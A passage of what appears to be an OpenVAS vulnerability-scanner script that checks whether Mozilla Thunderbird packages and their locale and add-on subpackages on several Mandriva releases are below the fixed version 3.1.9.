NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-pt_PT\", rpm:\"mozilla-thunderbird-pt_PT~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ro\", rpm:\"mozilla-thunderbird-ro~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ru\", rpm:\"mozilla-thunderbird-ru~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-si\", rpm:\"mozilla-thunderbird-si~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sk\", rpm:\"mozilla-thunderbird-sk~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sl\", rpm:\"mozilla-thunderbird-sl~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sq\", rpm:\"mozilla-thunderbird-sq~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sr\", rpm:\"mozilla-thunderbird-sr~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sv_SE\", rpm:\"mozilla-thunderbird-sv_SE~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-tr\", rpm:\"mozilla-thunderbird-tr~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-uk\", rpm:\"mozilla-thunderbird-uk~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-vi\", rpm:\"mozilla-thunderbird-vi~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-zh_CN\", rpm:\"mozilla-thunderbird-zh_CN~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-zh_TW\", rpm:\"mozilla-thunderbird-zh_TW~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nsinstall\", rpm:\"nsinstall~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-l10n\", rpm:\"mozilla-thunderbird-l10n~3.1.9~0.1mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n\n\nif(release == \"MNDK_2010.0\")\n{\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird\", rpm:\"mozilla-thunderbird~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-af\", rpm:\"mozilla-thunderbird-af~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ar\", rpm:\"mozilla-thunderbird-ar~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-be\", rpm:\"mozilla-thunderbird-be~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-bg\", rpm:\"mozilla-thunderbird-bg~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-bn_BD\", rpm:\"mozilla-thunderbird-bn_BD~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ca\", rpm:\"mozilla-thunderbird-ca~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-cs\", rpm:\"mozilla-thunderbird-cs~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-da\", rpm:\"mozilla-thunderbird-da~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-de\", rpm:\"mozilla-thunderbird-de~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-el\", rpm:\"mozilla-thunderbird-el~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-en_GB\", rpm:\"mozilla-thunderbird-en_GB~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail\", rpm:\"mozilla-thunderbird-enigmail~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ar\", rpm:\"mozilla-thunderbird-enigmail-ar~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ca\", rpm:\"mozilla-thunderbird-enigmail-ca~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-cs\", rpm:\"mozilla-thunderbird-enigmail-cs~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-de\", rpm:\"mozilla-thunderbird-enigmail-de~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-el\", rpm:\"mozilla-thunderbird-enigmail-el~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-es\", rpm:\"mozilla-thunderbird-enigmail-es~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-fi\", rpm:\"mozilla-thunderbird-enigmail-fi~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-fr\", rpm:\"mozilla-thunderbird-enigmail-fr~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-hu\", rpm:\"mozilla-thunderbird-enigmail-hu~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-it\", rpm:\"mozilla-thunderbird-enigmail-it~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ja\", rpm:\"mozilla-thunderbird-enigmail-ja~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ko\", rpm:\"mozilla-thunderbird-enigmail-ko~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-nb\", rpm:\"mozilla-thunderbird-enigmail-nb~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-nl\", rpm:\"mozilla-thunderbird-enigmail-nl~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pl\", rpm:\"mozilla-thunderbird-enigmail-pl~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pt\", rpm:\"mozilla-thunderbird-enigmail-pt~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-pt_BR\", rpm:\"mozilla-thunderbird-enigmail-pt_BR~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ru\", rpm:\"mozilla-thunderbird-enigmail-ru~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-sl\", rpm:\"mozilla-thunderbird-enigmail-sl~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-sv\", rpm:\"mozilla-thunderbird-enigmail-sv~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-tr\", rpm:\"mozilla-thunderbird-enigmail-tr~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-vi\", rpm:\"mozilla-thunderbird-enigmail-vi~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-zh_CN\", rpm:\"mozilla-thunderbird-enigmail-zh_CN~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-zh_TW\", rpm:\"mozilla-thunderbird-enigmail-zh_TW~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-es_AR\", rpm:\"mozilla-thunderbird-es_AR~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-es_ES\", rpm:\"mozilla-thunderbird-es_ES~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-et\", rpm:\"mozilla-thunderbird-et~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-et_EE\", rpm:\"mozilla-thunderbird-et_EE~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-eu\", rpm:\"mozilla-thunderbird-eu~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-fi\", rpm:\"mozilla-thunderbird-fi~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-fr\", rpm:\"mozilla-thunderbird-fr~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-fy\", rpm:\"mozilla-thunderbird-fy~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ga\", rpm:\"mozilla-thunderbird-ga~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-gd\", rpm:\"mozilla-thunderbird-gd~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-gl\", rpm:\"mozilla-thunderbird-gl~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-he\", rpm:\"mozilla-thunderbird-he~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-hu\", rpm:\"mozilla-thunderbird-hu~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-id\", rpm:\"mozilla-thunderbird-id~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-is\", rpm:\"mozilla-thunderbird-is~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-it\", rpm:\"mozilla-thunderbird-it~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ja\", rpm:\"mozilla-thunderbird-ja~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ka\", rpm:\"mozilla-thunderbird-ka~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ko\", rpm:\"mozilla-thunderbird-ko~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-lightning\", rpm:\"mozilla-thunderbird-lightning~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-lt\", rpm:\"mozilla-thunderbird-lt~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-nb_NO\", rpm:\"mozilla-thunderbird-nb_NO~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-nl\", rpm:\"mozilla-thunderbird-nl~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-nn_NO\", rpm:\"mozilla-thunderbird-nn_NO~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-pa_IN\", rpm:\"mozilla-thunderbird-pa_IN~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-pl\", rpm:\"mozilla-thunderbird-pl~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-pt_BR\", rpm:\"mozilla-thunderbird-pt_BR~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-pt_PT\", rpm:\"mozilla-thunderbird-pt_PT~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ro\", rpm:\"mozilla-thunderbird-ro~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ru\", rpm:\"mozilla-thunderbird-ru~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-si\", rpm:\"mozilla-thunderbird-si~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sk\", rpm:\"mozilla-thunderbird-sk~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sl\", rpm:\"mozilla-thunderbird-sl~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sq\", rpm:\"mozilla-thunderbird-sq~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sr\", rpm:\"mozilla-thunderbird-sr~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sv_SE\", rpm:\"mozilla-thunderbird-sv_SE~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-tr\", rpm:\"mozilla-thunderbird-tr~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-uk\", rpm:\"mozilla-thunderbird-uk~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-vi\", rpm:\"mozilla-thunderbird-vi~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-zh_CN\", rpm:\"mozilla-thunderbird-zh_CN~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-zh_TW\", rpm:\"mozilla-thunderbird-zh_TW~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nsinstall\", rpm:\"nsinstall~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-l10n\", rpm:\"mozilla-thunderbird-l10n~3.1.9~0.1mdv2010.0\", rls:\"MNDK_2010.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n\n\nif(release == \"MNDK_2009.0\")\n{\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird\", rpm:\"mozilla-thunderbird~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-af\", rpm:\"mozilla-thunderbird-af~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ar\", rpm:\"mozilla-thunderbird-ar~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-be\", rpm:\"mozilla-thunderbird-be~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-bg\", rpm:\"mozilla-thunderbird-bg~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-bn_BD\", rpm:\"mozilla-thunderbird-bn_BD~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-ca\", rpm:\"mozilla-thunderbird-ca~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-cs\", rpm:\"mozilla-thunderbird-cs~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-da\", rpm:\"mozilla-thunderbird-da~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-de\", rpm:\"mozilla-thunderbird-de~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-el\", rpm:\"mozilla-thunderbird-el~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-en_GB\", rpm:\"mozilla-thunderbird-en_GB~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail\", rpm:\"mozilla-thunderbird-enigmail~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ar\", rpm:\"mozilla-thunderbird-enigmail-ar~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ca\", rpm:\"mozilla-thunderbird-enigmail-ca~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-cs\", rpm:\"mozilla-thunderbird-enigmail-cs~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-de\", rpm:\"mozilla-thunderbird-enigmail-de~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-el\", rpm:\"mozilla-thunderbird-enigmail-el~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-es\", rpm:\"mozilla-thunderbird-enigmail-es~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-fi\", rpm:\"mozilla-thunderbird-enigmail-fi~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-fr\", rpm:\"mozilla-thunderbird-enigmail-fr~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-hu\", rpm:\"mozilla-thunderbird-enigmail-hu~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-it\", rpm:\"mozilla-thunderbird-enigmail-it~3.1.9~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-enigmail-ja\", 